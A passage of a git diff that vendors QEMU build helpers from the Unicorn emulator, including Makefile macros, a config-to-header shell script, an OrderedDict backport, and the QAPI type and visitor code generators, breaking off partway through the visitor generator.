$(patsubst %, %/$1, $(subst :, ,$(PATH))))) + +# Logical functions (for operating on y/n values like CONFIG_FOO vars) +# Inputs to these must be either "y" (true) or "n" or "" (both false) +# Output is always either "y" or "n". +# Usage: $(call land,$(CONFIG_FOO),$(CONFIG_BAR)) +# Logical NOT +lnot = $(if $(subst n,,$1),n,y) +# Logical AND +land = $(if $(findstring yy,$1$2),y,n) +# Logical OR +lor = $(if $(findstring y,$1$2),y,n) +# Logical XOR (note that this is the inverse of leqv) +lxor = $(if $(filter $(call lnot,$1),$(call lnot,$2)),n,y) +# Logical equivalence (note that leqv "","n" is true) +leqv = $(if $(filter $(call lnot,$1),$(call lnot,$2)),y,n) +# Logical if: like make's $(if) but with an leqv-like test +lif = $(if $(subst n,,$1),$2,$3) + +# String testing functions: inputs to these can be any string; +# the output is always either "y" or "n". Leading and trailing whitespace +# is ignored when comparing strings. +# String equality +eq = $(if $(subst $2,,$1)$(subst $1,,$2),n,y) +# String inequality +ne = $(if $(subst $2,,$1)$(subst $1,,$2),y,n) +# Emptiness/non-emptiness tests: +isempty = $(if $1,n,y) +notempty = $(if $1,y,n) + +# Generate files with tracetool +TRACETOOL=$(PYTHON) $(SRC_PATH)/scripts/tracetool.py + +# Generate timestamp files for .h include files + +config-%.h: config-%.h-timestamp + @cmp $< $@ >/dev/null 2>&1 || cp $< $@ + +config-%.h-timestamp: config-%.mak + $(call quiet-command, sh $(SRC_PATH)/scripts/create_config < $< > $@, " GEN $(TARGET_DIR)config-$*.h") + +.PHONY: clean-timestamp +clean-timestamp: + rm -f *.timestamp +clean: clean-timestamp + +# will delete the target of a rule if commands exit with a nonzero exit status +.DELETE_ON_ERROR: + +# save-vars +# Usage: $(call save-vars, vars) +# Save each variable $v in $vars as save-vars-$v, save their object's +# variables, then clear $v. +define save-vars + $(foreach v,$1, + $(eval save-vars-$v := $(value $v)) + $(foreach o,$($v), + $(foreach k,cflags libs objs, + $(if $($o-$k), + $(eval save-vars-$o-$k := $($o-$k)) + $(eval $o-$k := )))) + $(eval $v := )) +endef + +# load-vars +# Usage: $(call load-vars, vars, add_var) +# Load the saved value for each variable in @vars, and the per object +# variables. +# Append @add_var's current value to the loaded value. +define load-vars + $(eval $2-new-value := $(value $2)) + $(foreach v,$1, + $(eval $v := $(value save-vars-$v)) + $(foreach o,$($v), + $(foreach k,cflags libs objs, + $(if $(save-vars-$o-$k), + $(eval $o-$k := $(save-vars-$o-$k)) + $(eval save-vars-$o-$k := )))) + $(eval save-vars-$v := )) + $(eval $2 := $(value $2) $($2-new-value)) +endef + +# fix-paths +# Usage: $(call fix-paths, obj_path, src_path, vars) +# Add prefix @obj_path to all objects in @vars, and add prefix @src_path to all +# directories in @vars. +define fix-paths + $(foreach v,$3, + $(foreach o,$($v), + $(if $($o-libs), + $(eval $1$o-libs := $($o-libs))) + $(if $($o-cflags), + $(eval $1$o-cflags := $($o-cflags))) + $(if $($o-objs), + $(eval $1$o-objs := $(addprefix $1,$($o-objs))))) + $(eval $v := $(addprefix $1,$(filter-out %/,$($v))) \ + $(addprefix $2,$(filter %/,$($v))))) +endef + +# unnest-var-recursive +# Usage: $(call unnest-var-recursive, obj_prefix, vars, var) +# +# Unnest @var by including subdir Makefile.objs, while protect others in @vars +# unchanged. +# +# @obj_prefix is the starting point of object path prefix. +# +define unnest-var-recursive + $(eval dirs := $(sort $(filter %/,$($3)))) + $(eval $3 := $(filter-out %/,$($3))) + $(foreach d,$(dirs:%/=%), + $(call save-vars,$2) + $(eval obj := $(if $1,$1/)$d) + $(eval -include $(SRC_PATH)/$d/Makefile.objs) + $(call fix-paths,$(if $1,$1/)$d/,$d/,$2) + $(call load-vars,$2,$3) + $(call unnest-var-recursive,$1,$2,$3)) +endef + +# unnest-vars +# Usage: $(call unnest-vars, obj_prefix, vars) +# +# @obj_prefix: object path prefix, can be empty, or '..', etc. Don't include +# ending '/'. +# +# @vars: the list of variable names to unnest. +# +# This macro will scan subdirectories's Makefile.objs, include them, to build +# up each variable listed in @vars. +# +# Per object and per module cflags and libs are saved with relative path fixed +# as well, those variables include -libs, -cflags and -objs. Items in -objs are +# also fixed to relative path against SRC_PATH plus the prefix @obj_prefix. +# +# All nested variables postfixed by -m in names are treated as DSO variables, +# and will be built as modules, if enabled. +# +# A simple example of the unnest: +# +# obj_prefix = .. +# vars = hot cold +# hot = fire.o sun.o season/ +# cold = snow.o water/ season/ +# +# Unnest through a faked source directory structure: +# +# SRC_PATH +# ├── water +# │ └── Makefile.objs──────────────────┠+# │ │ hot += steam.o │ +# │ │ cold += ice.mo │ +# │ │ ice.mo-libs := -licemaker │ +# │ │ ice.mo-objs := ice1.o ice2.o │ +# │ └──────────────────────────────┘ +# │ +# └── season +# └── Makefile.objs──────┠+# │ hot += summer.o │ +# │ cold += winter.o │ +# └──────────────────┘ +# +# In the end, the result will be: +# +# hot = ../fire.o ../sun.o ../season/summer.o +# cold = ../snow.o ../water/ice.mo ../season/winter.o +# ../water/ice.mo-libs = -licemaker +# ../water/ice.mo-objs = ../water/ice1.o ../water/ice2.o +# +# Note that 'hot' didn't include 'season/' in the input, so 'summer.o' is not +# included. +# +define unnest-vars + # In the case of target build (i.e. $1 == ..), fix path for top level + # Makefile.objs objects + $(if $1,$(call fix-paths,$1/,,$2)) + + # Descend and include every subdir Makefile.objs + $(foreach v, $2, $(call unnest-var-recursive,$1,$2,$v)) + + $(foreach v,$(filter %-m,$2), + # All .o found in *-m variables are single object modules, create .mo + # for them + $(foreach o,$(filter %.o,$($v)), + $(eval $(o:%.o=%.mo)-objs := $o)) + # Now unify .o in -m variable to .mo + $(eval $v := $($v:%.o=%.mo)) + $(eval modules-m += $($v)) + + # For module build, build shared libraries during "make modules" + # For non-module build, add -m to -y + $(if $(CONFIG_MODULES), + $(foreach o,$($v), + $(eval $o: $($o-objs))) + $(eval $(patsubst %-m,%-y,$v) += $($v)) + $(eval modules: $($v:%.mo=%$(DSOSUF))), + $(eval $(patsubst %-m,%-y,$v) += $(call expand-objs, $($v))))) + + # Post-process all the unnested vars + $(foreach v,$2, + $(foreach o, $(filter %.mo,$($v)), + # Find all the .mo objects in variables and add dependency rules + # according to .mo-objs. Report error if not set + $(if $($o-objs), + $(eval $(o:%.mo=%$(DSOSUF)): module-common.o $($o-objs)), + $(error $o added in $v but $o-objs is not set)) + # Pass the .mo-cflags and .mo-libs along to member objects + $(foreach p,$($o-objs), + $(if $($o-cflags), $(eval $p-cflags += $($o-cflags))) + $(if $($o-libs), $(eval $p-libs += $($o-libs))))) + $(shell mkdir -p ./ $(sort $(dir $($v)))) + # Include all the .d files + $(eval -include $(addsuffix *.d, $(sort $(dir $($v))))) + $(eval $v := $(filter-out %/,$($v)))) + + # For all %.mo objects that are directly added into -y, expand them to %.mo-objs + $(foreach v,$2, + $(eval $v := $(foreach o,$($v),$(if $($o-objs),$($o-objs),$o)))) + +endef diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/create_config b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/create_config new file mode 100644 index 0000000..a286002 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/create_config @@ -0,0 +1,76 @@ +#!/bin/sh + +echo "/* Automatically generated by create_config - do not modify */" + +while read line; do + +case $line in + qemu_*dir=*) # qemu-specific directory configuration + name=${line%=*} + value=${line#*=} + define_name=`echo $name | LC_ALL=C tr '[a-z]' '[A-Z]'` + eval "define_value=\"$value\"" + echo "#define CONFIG_$define_name \"$define_value\"" + # save for the next definitions + eval "$name=\$define_value" + ;; + prefix=*) + # save for the next definitions + prefix=${line#*=} + ;; + CONFIG_*=y) # configuration + name=${line%=*} + echo "#define $name 1" + ;; + CONFIG_*=*) # configuration + name=${line%=*} + value=${line#*=} + echo "#define $name $value" + ;; + ARCH=*) # configuration + arch=${line#*=} + arch_name=`echo $arch | LC_ALL=C tr '[a-z]' '[A-Z]'` + echo "#define HOST_$arch_name 1" + ;; + HOST_CC=*) + # do nothing + ;; + HOST_*=y) # configuration + name=${line%=*} + echo "#define $name 1" + ;; + HOST_*=*) # configuration + name=${line%=*} + value=${line#*=} + echo "#define $name $value" + ;; + TARGET_BASE_ARCH=*) # configuration + target_base_arch=${line#*=} + base_arch_name=`echo $target_base_arch | LC_ALL=C tr '[a-z]' '[A-Z]'` + echo "#define TARGET_$base_arch_name 1" + ;; + TARGET_XML_FILES=*) + # do nothing + ;; + TARGET_ABI_DIR=*) + # do nothing + ;; + TARGET_NAME=*) + target_name=${line#*=} + echo "#define TARGET_NAME \"$target_name\"" + ;; + TARGET_DIRS=*) + # do nothing + ;; + TARGET_*=y) # configuration + name=${line%=*} + echo "#define $name 1" + ;; + TARGET_*=*) # configuration + name=${line%=*} + value=${line#*=} + echo "#define $name $value" + ;; +esac + +done # read diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/ordereddict.py b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/ordereddict.py new file mode 100644 index 0000000..f103954 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/ordereddict.py @@ -0,0 +1,132 @@ +# Copyright (c) 2009 Raymond Hettinger +# +# Permission is hereby granted, free of charge, to any person +# obtaining a copy of this software and associated documentation files +# (the "Software"), to deal in the Software without restriction, +# including without limitation the rights to use, copy, modify, merge, +# publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, +# subject to the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +# OTHER DEALINGS IN THE SOFTWARE. + +try: + from UserDict import UserDict + from UserDict import DictMixin +except ImportError: + from collections import UserDict + try: + from collections import MutableMapping as DictMixin + except ImportError: + from collections.abc import MutableMapping as DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.__map = {} # key --> [key, prev, next] + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = reversed(self).next() + else: + key = iter(self).next() + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return (self.__class__, (items,), inst_dict) + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, self.items()) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + if len(self) != len(other): + return False + for p, q in zip(self.items(), other.items()): + if p != q: + return False + return True + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-build.sh b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-build.sh new file mode 100644 index 0000000..0cf5502 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-build.sh @@ -0,0 +1,14 @@ +#!/bin/sh + +# Run this scripts to create qapi below files in root dir +# ../qapi-types.c +# ../qapi-types.h +# ../qapi-visit.c +# ../qapi-visit.h + +python qapi-types.py -h -o .. -b -i qapi-schema.json +python qapi-types.py -c -o .. -b -i qapi-schema.json + +python qapi-visit.py -h -o .. -b -i qapi-schema.json +python qapi-visit.py -c -o .. -b -i qapi-schema.json + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-schema.json b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-schema.json new file mode 100644 index 0000000..37e5315 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-schema.json @@ -0,0 +1,39 @@ +# -*- Mode: Python -*- +# +# QAPI Schema + +# QAPI common definitions +{ 'include': 'qapi/common.json' } + +## +# @X86CPURegister32 +# +# A X86 32-bit register +# +# Since: 1.5 +## +{ 'enum': 'X86CPURegister32', + 'data': [ 'EAX', 'EBX', 'ECX', 'EDX', 'ESP', 'EBP', 'ESI', 'EDI' ] } + +## +# @X86CPUFeatureWordInfo +# +# Information about a X86 CPU feature word +# +# @cpuid-input-eax: Input EAX value for CPUID instruction for that feature word +# +# @cpuid-input-ecx: #optional Input ECX value for CPUID instruction for that +# feature word +# +# @cpuid-register: Output register containing the feature bits +# +# @features: value of output register, containing the feature bits +# +# Since: 1.5 +## +{ 'type': 'X86CPUFeatureWordInfo', + 'data': { 'cpuid-input-eax': 'int', + '*cpuid-input-ecx': 'int', + 'cpuid-register': 'X86CPURegister32', + 'features': 'int' } } + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-types.py b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-types.py new file mode 100644 index 0000000..7b06085 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-types.py @@ -0,0 +1,464 @@ +# +# QAPI types generator +# +# Copyright IBM, Corp. 2011 +# +# Authors: +# Anthony Liguori +# +# This work is licensed under the terms of the GNU GPL, version 2. +# See the COPYING file in the top-level directory. + +from ordereddict import OrderedDict +from qapi import * +import sys +import os +import getopt +import errno + +def generate_fwd_struct(name, members, builtin_type=False): + if builtin_type: + return mcgen(''' + +typedef struct %(name)sList +{ + union { + %(type)s value; + uint64_t padding; + }; + struct %(name)sList *next; +} %(name)sList; +''', + type=c_type(name), + name=name) + + return mcgen(''' + +typedef struct %(name)s %(name)s; + +typedef struct %(name)sList +{ + union { + %(name)s *value; + uint64_t padding; + }; + struct %(name)sList *next; +} %(name)sList; +''', + name=name) + +def generate_fwd_enum_struct(name, members): + return mcgen(''' +typedef struct %(name)sList +{ + union { + %(name)s value; + uint64_t padding; + }; + struct %(name)sList *next; +} %(name)sList; +''', + name=name) + +def generate_struct_fields(members): + ret = '' + + for argname, argentry, optional, structured in parse_args(members): + if optional: + ret += mcgen(''' + bool has_%(c_name)s; +''', + c_name=c_var(argname)) + if structured: + push_indent() + ret += generate_struct({ "field": argname, "data": argentry}) + pop_indent() + else: + ret += mcgen(''' + %(c_type)s %(c_name)s; +''', + c_type=c_type(argentry), c_name=c_var(argname)) + + return ret + +def generate_struct(expr): + + structname = expr.get('type', "") + fieldname = expr.get('field', "") + members = expr['data'] + base = expr.get('base') + + ret = mcgen(''' +struct %(name)s +{ +''', + name=structname) + + if base: + ret += generate_struct_fields({'base': base}) + + ret += generate_struct_fields(members) + + if len(fieldname): + fieldname = " " + fieldname + ret += mcgen(''' +}%(field)s; +''', + field=fieldname) + + return ret + +def generate_enum_lookup(name, values): + ret = mcgen(''' +const char *%(name)s_lookup[] = { +''', + name=name) + i = 0 + for value in values: + ret += mcgen(''' + "%(value)s", +''', + value=value) + + ret += mcgen(''' + NULL, +}; + +''') + return ret + +def generate_enum(name, values): + lookup_decl = mcgen(''' +extern const char *%(name)s_lookup[]; +''', + name=name) + + enum_decl = mcgen(''' +typedef enum %(name)s +{ +''', + name=name) + + # append automatically generated _MAX value + enum_values = values + [ 'MAX' ] + + i = 0 + for value in enum_values: + enum_full_value = generate_enum_full_value(name, value) + enum_decl += mcgen(''' + %(enum_full_value)s = %(i)d, +''', + enum_full_value = enum_full_value, + i=i) + i += 1 + + enum_decl += mcgen(''' +} %(name)s; +''', + name=name) + + return lookup_decl + enum_decl + +def generate_anon_union_qtypes(expr): + + name = expr['union'] + members = expr['data'] + + ret = mcgen(''' +const int %(name)s_qtypes[QTYPE_MAX] = { +''', + name=name) + + for key in members: + qapi_type = members[key] + if qapi_type in builtin_type_qtypes: + qtype = builtin_type_qtypes[qapi_type] + elif find_struct(qapi_type): + qtype = "QTYPE_QDICT" + elif find_union(qapi_type): + qtype = "QTYPE_QDICT" + elif find_enum(qapi_type): + qtype = "QTYPE_QSTRING" + else: + assert False, "Invalid anonymous union member" + + ret += mcgen(''' + [ %(qtype)s ] = %(abbrev)s_KIND_%(enum)s, +''', + qtype = qtype, + abbrev = de_camel_case(name).upper(), + enum = c_fun(de_camel_case(key),False).upper()) + + ret += mcgen(''' +}; +''') + return ret + + +def generate_union(expr): + + name = expr['union'] + typeinfo = expr['data'] + + base = expr.get('base') + discriminator = expr.get('discriminator') + + enum_define = discriminator_find_enum_define(expr) + if enum_define: + discriminator_type_name = enum_define['enum_name'] + else: + discriminator_type_name = '%sKind' % (name) + + ret = mcgen(''' +struct %(name)s +{ + %(discriminator_type_name)s kind; + union { + void *data; +''', + name=name, + discriminator_type_name=discriminator_type_name) + + for key in typeinfo: + ret += mcgen(''' + %(c_type)s %(c_name)s; +''', + c_type=c_type(typeinfo[key]), + c_name=c_fun(key)) + + ret += mcgen(''' + }; +''') + + if base: + base_fields = find_struct(base)['data'] + if discriminator: + base_fields = base_fields.copy() + del base_fields[discriminator] + ret += generate_struct_fields(base_fields) + else: + assert not discriminator + + ret += mcgen(''' +}; +''') + if discriminator == {}: + ret += mcgen(''' +extern const int %(name)s_qtypes[]; +''', + name=name) + + + return ret + +def generate_type_cleanup_decl(name): + ret = mcgen(''' +void qapi_free_%(type)s(%(c_type)s obj); +''', + c_type=c_type(name),type=name) + return ret + +def generate_type_cleanup(name): + ret = mcgen(''' + +void qapi_free_%(type)s(%(c_type)s obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_%(type)s(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} +''', + c_type=c_type(name),type=name) + return ret + + +try: + opts, args = getopt.gnu_getopt(sys.argv[1:], "chbp:i:o:", + ["source", "header", "builtins", + "prefix=", "input-file=", "output-dir="]) +except getopt.GetoptError as err: + print(str(err)) + sys.exit(1) + +output_dir = "" +input_file = "" +prefix = "" +c_file = 'qapi-types.c' +h_file = 'qapi-types.h' + +do_c = False +do_h = False +do_builtins = False + +for o, a in opts: + if o in ("-p", "--prefix"): + prefix = a + elif o in ("-i", "--input-file"): + input_file = a + elif o in ("-o", "--output-dir"): + output_dir = a + "/" + elif o in ("-c", "--source"): + do_c = True + elif o in ("-h", "--header"): + do_h = True + elif o in ("-b", "--builtins"): + do_builtins = True + +if not do_c and not do_h: + do_c = True + do_h = True + +c_file = output_dir + prefix + c_file +h_file = output_dir + prefix + h_file + +try: + os.makedirs(output_dir) +except os.error as e: + if e.errno != errno.EEXIST: + raise + +def maybe_open(really, name, opt): + if really: + return open(name, opt) + else: + try: + import StringIO + return StringIO.StringIO() + except ImportError: + from io import StringIO + return StringIO() + +fdef = maybe_open(do_c, c_file, 'w') +fdecl = maybe_open(do_h, h_file, 'w') + +fdef.write(mcgen(''' +/* AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * deallocation functions for schema-defined QAPI types + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * Michael Roth + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qapi/dealloc-visitor.h" +#include "%(prefix)sqapi-types.h" +#include "%(prefix)sqapi-visit.h" + +''', prefix=prefix)) + +fdecl.write(mcgen(''' +/* AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * schema-defined QAPI types + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef %(guard)s +#define %(guard)s + +#include "unicorn/platform.h" + +''', + guard=guardname(h_file))) + +exprs = parse_schema(input_file) +exprs = filter(lambda expr: 'gen' not in expr, exprs) +exprs = list(exprs) + +fdecl.write(guardstart("QAPI_TYPES_BUILTIN_STRUCT_DECL")) +for typename in builtin_types: + fdecl.write(generate_fwd_struct(typename, None, builtin_type=True)) +fdecl.write(guardend("QAPI_TYPES_BUILTIN_STRUCT_DECL")) + +for expr in exprs: + ret = "\n" + if 'type' in expr: + ret += generate_fwd_struct(expr['type'], expr['data']) + elif 'enum' in expr: + ret += generate_enum(expr['enum'], expr['data']) + "\n" + ret += generate_fwd_enum_struct(expr['enum'], expr['data']) + fdef.write(generate_enum_lookup(expr['enum'], expr['data'])) + elif 'union' in expr: + ret += generate_fwd_struct(expr['union'], expr['data']) + "\n" + enum_define = discriminator_find_enum_define(expr) + if not enum_define: + ret += generate_enum('%sKind' % expr['union'], expr['data'].keys()) + fdef.write(generate_enum_lookup('%sKind' % expr['union'], + expr['data'].keys())) + if expr.get('discriminator') == {}: + fdef.write(generate_anon_union_qtypes(expr)) + else: + continue + fdecl.write(ret) + +# to avoid header dependency hell, we always generate declarations +# for built-in types in our header files and simply guard them +fdecl.write(guardstart("QAPI_TYPES_BUILTIN_CLEANUP_DECL")) +for typename in builtin_types: + fdecl.write(generate_type_cleanup_decl(typename + "List")) +fdecl.write(guardend("QAPI_TYPES_BUILTIN_CLEANUP_DECL")) + +# ...this doesn't work for cases where we link in multiple objects that +# have the functions defined, so we use -b option to provide control +# over these cases +if do_builtins: + fdef.write(guardstart("QAPI_TYPES_BUILTIN_CLEANUP_DEF")) + for typename in builtin_types: + fdef.write(generate_type_cleanup(typename + "List")) + fdef.write(guardend("QAPI_TYPES_BUILTIN_CLEANUP_DEF")) + +for expr in exprs: + ret = "\n" + if 'type' in expr: + ret += generate_struct(expr) + "\n" + ret += generate_type_cleanup_decl(expr['type'] + "List") + fdef.write(generate_type_cleanup(expr['type'] + "List") + "\n") + ret += generate_type_cleanup_decl(expr['type']) + fdef.write(generate_type_cleanup(expr['type']) + "\n") + elif 'union' in expr: + ret += generate_union(expr) + ret += generate_type_cleanup_decl(expr['union'] + "List") + fdef.write(generate_type_cleanup(expr['union'] + "List") + "\n") + ret += generate_type_cleanup_decl(expr['union']) + fdef.write(generate_type_cleanup(expr['union']) + "\n") + elif 'enum' in expr: + ret += generate_type_cleanup_decl(expr['enum'] + "List") + fdef.write(generate_type_cleanup(expr['enum'] + "List") + "\n") + else: + continue + fdecl.write(ret) + +fdecl.write(''' +#endif +''') + +fdecl.flush() +fdecl.close() + +fdef.flush() +fdef.close() diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-visit.py b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-visit.py new file mode 100644 index 0000000..beb5af5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-visit.py @@ -0,0 +1,597 @@ +# +# QAPI visitor generator +# +# Copyright IBM, Corp. 2011 +# Copyright (C) 2014 Red Hat, Inc. +# +# Authors: +# Anthony Liguori +# Michael Roth +# Markus Armbruster +# +# This work is licensed under the terms of the GNU GPL, version 2. +# See the COPYING file in the top-level directory. + +from ordereddict import OrderedDict +from qapi import * +import re +import sys +import os +import getopt +import errno + +implicit_structs = [] + +def generate_visit_implicit_struct(type): + global implicit_structs + if type in implicit_structs: + return '' + implicit_structs.append(type) + return mcgen(''' + +static void visit_type_implicit_%(c_type)s(Visitor *m, %(c_type)s **obj, Error **errp) +{ + Error *err = NULL; + + visit_start_implicit_struct(m, (void **)obj, sizeof(%(c_type)s), &err); + if (!err) { + visit_type_%(c_type)s_fields(m, obj, errp); + visit_end_implicit_struct(m, &err); + } + error_propagate(errp, err); +} +''', + c_type=type_name(type)) + +def generate_visit_struct_fields(name, field_prefix, fn_prefix, members, base = None): + substructs = [] + ret = '' + if not fn_prefix: + full_name = name + else: + full_name = "%s_%s" % (name, fn_prefix) + + for argname, argentry, optional, structured in parse_args(members): + if structured: + if not fn_prefix: + nested_fn_prefix = argname + else: + nested_fn_prefix = "%s_%s" % (fn_prefix, argname) + + nested_field_prefix = "%s%s." % (field_prefix, argname) + ret += generate_visit_struct_fields(name, nested_field_prefix, + nested_fn_prefix, argentry) + ret += mcgen(''' + +static void visit_type_%(full_name)s_field_%(c_name)s(Visitor *m, %(name)s **obj, Error **errp) +{ +''', + name=name, full_name=full_name, c_name=c_var(argname)) + ret += generate_visit_struct_body(full_name, argname, argentry) + ret += mcgen(''' +} +''') + + if base: + ret += generate_visit_implicit_struct(base) + + ret += mcgen(''' + +static void visit_type_%(full_name)s_fields(Visitor *m, %(name)s **obj, Error **errp) +{ + Error *err = NULL; +''', + name=name, full_name=full_name) + push_indent() + + if base: + ret += mcgen(''' +visit_type_implicit_%(type)s(m, &(*obj)->%(c_prefix)s%(c_name)s, &err); +if (err) { + goto out; +} +''', + c_prefix=c_var(field_prefix), + type=type_name(base), c_name=c_var('base')) + + for argname, argentry, optional, structured in parse_args(members): + if optional: + ret += mcgen(''' +visit_optional(m, &(*obj)->%(c_prefix)shas_%(c_name)s, "%(name)s", &err); +if (!err && (*obj)->%(prefix)shas_%(c_name)s) { +''', + c_prefix=c_var(field_prefix), prefix=field_prefix, + c_name=c_var(argname), name=argname) + push_indent() + + if structured: + ret += mcgen(''' +visit_type_%(full_name)s_field_%(c_name)s(m, obj, &err); +''', + full_name=full_name, c_name=c_var(argname)) + else: + ret += mcgen(''' +visit_type_%(type)s(m, &(*obj)->%(c_prefix)s%(c_name)s, "%(name)s", &err); +''', + c_prefix=c_var(field_prefix), prefix=field_prefix, + type=type_name(argentry), c_name=c_var(argname), + name=argname) + + if optional: + pop_indent() + ret += mcgen(''' +} +''') + ret += mcgen(''' +if (err) { + goto out; +} +''') + + pop_indent() + if re.search('^ *goto out\\;', ret, re.MULTILINE): + ret += mcgen(''' + +out: +''') + ret += mcgen(''' + error_propagate(errp, err); +} +''') + return ret + + +def generate_visit_struct_body(field_prefix, name, members): + ret = mcgen(''' + Error *err = NULL; + +''') + + if not field_prefix: + full_name = name + else: + full_name = "%s_%s" % (field_prefix, name) + + if len(field_prefix): + ret += mcgen(''' + visit_start_struct(m, NULL, "", "%(name)s", 0, &err); +''', + name=name) + else: + ret += mcgen(''' + visit_start_struct(m, (void **)obj, "%(name)s", name, sizeof(%(name)s), &err); +''', + name=name) + + ret += mcgen(''' + if (!err) { + if (*obj) { + visit_type_%(name)s_fields(m, obj, errp); + } + visit_end_struct(m, &err); + } + error_propagate(errp, err); +''', + name=full_name) + + return ret + +def generate_visit_struct(expr): + + name = expr['type'] + members = expr['data'] + base = expr.get('base') + + ret = generate_visit_struct_fields(name, "", "", members, base) + + ret += mcgen(''' + +void visit_type_%(name)s(Visitor *m, %(name)s **obj, const char *name, Error **errp) +{ +''', + name=name) + + ret += generate_visit_struct_body("", name, members) + + ret += mcgen(''' +} +''') + return ret + +def generate_visit_list(name, members): + return mcgen(''' + +void visit_type_%(name)sList(Visitor *m, %(name)sList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + %(name)sList *native_i = (%(name)sList *)i; + visit_type_%(name)s(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} +''', + name=name) + +def generate_visit_enum(name, members): + return mcgen(''' + +void visit_type_%(name)s(Visitor *m, %(name)s *obj, const char *name, Error **errp) +{ + visit_type_enum(m, (int *)obj, %(name)s_lookup, "%(name)s", name, errp); +} +''', + name=name) + +def generate_visit_anon_union(name, members): + ret = mcgen(''' + +void visit_type_%(name)s(Visitor *m, %(name)s **obj, const char *name, Error **errp) +{ + Error *err = NULL; + + visit_start_implicit_struct(m, (void**) obj, sizeof(%(name)s), &err); + if (err) { + goto out; + } + visit_get_next_type(m, (int*) &(*obj)->kind, %(name)s_qtypes, name, &err); + if (err) { + goto out_end; + } + switch ((*obj)->kind) { +''', + name=name) + + # For anon union, always use the default enum type automatically generated + # as "'%sKind' % (name)" + disc_type = '%sKind' % (name) + + for key in members: + assert (members[key] in builtin_types + or find_struct(members[key]) + or find_union(members[key]) + or find_enum(members[key])), "Invalid anonymous union member" + + enum_full_value = generate_enum_full_value(disc_type, key) + ret += mcgen(''' + case %(enum_full_value)s: + visit_type_%(c_type)s(m, &(*obj)->%(c_name)s, name, &err); + break; +''', + enum_full_value = enum_full_value, + c_type = type_name(members[key]), + c_name = c_fun(key)) + + ret += mcgen(''' + default: + abort(); + } 